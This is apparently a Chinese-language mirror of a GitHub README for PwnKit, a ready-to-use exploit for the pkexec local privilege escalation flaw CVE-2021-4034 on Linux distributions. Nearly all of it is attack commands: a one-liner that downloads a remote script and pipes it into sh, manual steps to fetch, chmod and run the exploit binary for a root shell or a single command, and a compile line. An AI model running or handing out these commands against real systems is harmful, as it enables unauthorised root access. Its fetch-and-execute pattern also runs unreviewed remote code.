针对 CVE-2021-4034 的独立漏洞利用 - Pkexec 本地权限提升
PwnKit 独立的漏洞利用工具，针对 CVE-2021-4034 - Pkexec 本地权限提升 该漏洞在基于 Ubuntu、Debian、Fedora 和 CentOS 的易受攻击的 Linux 发行版上都可以直接使用。 bash sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)" 手动运行 bash curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit # 交互式 shell ./PwnKit 'id' # 单个命令 已修补 使用修补后的版本运行漏洞利用工具，将生成以下输出。 编译 bash gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC 技术详情 - https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 参考资料 - https://GitHub.com/arthepsy/CVE-2021-4034/
暂无开放 Issues，或尚未同步最近议题。